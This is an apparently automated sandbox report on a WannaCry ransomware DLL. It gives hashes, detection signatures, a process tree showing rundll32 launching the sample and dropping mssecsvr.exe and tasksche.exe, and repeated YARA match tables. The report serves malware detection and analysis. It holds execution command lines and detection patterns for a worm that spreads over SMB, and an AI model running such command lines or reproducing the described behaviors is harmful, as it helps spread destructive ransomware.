Edit tour

Windows Analysis Report
goN6vVlV2F

Overview

General Information

Sample Name:	goN6vVlV2F (renamed file extension from none to dll)
Analysis ID:	670268
MD5:	9bea897dbffc0a5b5436c1ca8a8fb9b5
SHA1:	b7116762ef74b736ff59a21288dc2a686c072315
SHA256:	539c9736336b67145bd0a746571ae738b55f43e3848e6d9ff5b1a942c2fb194f
Tags:	dllOpenCTIBRSandboxedWannaCry
Infos:

Detection

Wannacry

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Wannacry ransomware

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Connects to many IPs within the same subnet mask (likely port scanning)

Connects to many different private IPs (likely to spread or exploit)

Machine Learning detection for dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Connects to many different private IPs via SMB (likely to spread or exploit)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Deletes files inside the Windows folder

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Creates a DirectInput object (often for capturing keystrokes)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file does not import any functions

PE file contains strange resources

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

File is packed with WinRar

Connects to several IPs in different countries

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Dropped file seen in connection with other malware

Queries disk information (often used to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6280 cmdline: loaddll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)

cmd.exe (PID: 4944 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 6392 cmdline: rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 3564 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 194F97335AE6E66ED6F540FD3401B582)

rundll32.exe (PID: 6136 cmdline: rundll32.exe C:\Users\user\Desktop\goN6vVlV2F.dll,PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 1608 cmdline: rundll32.exe "C:\Users\user\Desktop\goN6vVlV2F.dll",PlayGame MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mssecsvr.exe (PID: 3252 cmdline: C:\WINDOWS\mssecsvr.exe MD5: 194F97335AE6E66ED6F540FD3401B582)

tasksche.exe (PID: 5684 cmdline: C:\WINDOWS\tasksche.exe /i MD5: 9494E383608D476886FF411EA3114831)

mssecsvr.exe (PID: 6236 cmdline: C:\WINDOWS\mssecsvr.exe -m security MD5: 194F97335AE6E66ED6F540FD3401B582)

svchost.exe (PID: 7940 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6368 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 11492 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 11816 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 7560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 13728 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 16344 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
goN6vVlV2F.dll	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x353d0:$x3: tasksche.exe 0x353a8:$x8: C:\%s\qeriuwjhrf 0x3014:$s1: C:\%s\%s 0x12098:$s1: C:\%s\%s 0x1b39c:$s1: C:\%s\%s 0x353bc:$s1: C:\%s\%s 0x326f0:$s5: \\192.168.56.20\IPC$ 0x1fae5:$s6: \\172.16.99.5\IPC$ 0xd195:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x78da:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x5449:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
goN6vVlV2F.dll	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\mssecsvr.exe	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0xe034:$s1: C:\%s\%s 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
C:\Windows\mssecsvr.exe	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
C:\Windows\mssecsvr.exe	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000000.376518718.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.373732316.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000002.386641077.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000002.388787392.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.375076544.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.379857327.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000002.978124182.000000000042E000.00000004.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.377766453.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000007.00000000.379947930.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.376559457.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000004.00000000.371236467.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
00000006.00000000.382468537.000000000040F000.00000008.00000001.01000000.00000004.sdmp	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 3564	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 3252	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Process Memory Space: mssecsvr.exe PID: 6236	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
7.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
7.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
6.0.mssecsvr.exe.400000.6.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.2.mssecsvr.exe.400000.0.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
6.0.mssecsvr.exe.400000.6.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.2.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.2.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
4.0.mssecsvr.exe.400000.4.unpack	WannaCry_Ransomware_Gen	Detects WannaCry Ransomware	Florian Roth (based on rule by US CERT)	0x1bacc:$s1: __TREEID__PLACEHOLDER__ 0x1bb68:$s1: __TREEID__PLACEHOLDER__ 0x1c3d4:$s1: __TREEID__PLACEHOLDER__ 0x1d439:$s1: __TREEID__PLACEHOLDER__ 0x1e4a0:$s1: __TREEID__PLACEHOLDER__ 0x1f508:$s1: __TREEID__PLACEHOLDER__ 0x20570:$s1: __TREEID__PLACEHOLDER__ 0x215d8:$s1: __TREEID__PLACEHOLDER__ 0x22640:$s1: __TREEID__PLACEHOLDER__ 0x236a8:$s1: __TREEID__PLACEHOLDER__ 0x24710:$s1: __TREEID__PLACEHOLDER__ 0x25778:$s1: __TREEID__PLACEHOLDER__ 0x267e0:$s1: __TREEID__PLACEHOLDER__ 0x27848:$s1: __TREEID__PLACEHOLDER__ 0x288b0:$s1: __TREEID__PLACEHOLDER__ 0x29918:$s1: __TREEID__PLACEHOLDER__ 0x2a980:$s1: __TREEID__PLACEHOLDER__ 0x2ab94:$s1: __TREEID__PLACEHOLDER__ 0x2abf4:$s1: __TREEID__PLACEHOLDER__ 0x2e2c4:$s1: __TREEID__PLACEHOLDER__ 0x2e340:$s1: __TREEID__PLACEHOLDER__
4.0.mssecsvr.exe.400000.4.unpack	JoeSecurity_Wannacry	Yara detected Wannacry ransomware	Joe Security
7.2.mssecsvr.exe.400000.0.unpack	WannaCry_Ransomware	Detects WannaCry Ransomware	Florian Roth (with the help of binar.ly)	0x3136c:$x3: tasksche.exe 0x31344:$x8: C:\%s\qeriuwjhrf 0x17338:$s1: C:\%s\%s 0x31358:$s1: C:\%s\%s 0x2e68c:$s5: \\192.168.56.20\IPC$ 0x1ba81:$s6: \\172.16.99.5\IPC$ 0x9131:$op1: 10 AC 72 0D 3D FF FF 1F AC 77 06 B8 01 00 00 00 0x3876:$op2: 44 24 64 8A C6 44 24 65 0E C6 44 24 66 80 C6 44 0x13e5:$op3: 18 DF 6C 24 14 DC 64 24 2C DC 6C 24 5C DC 15 88
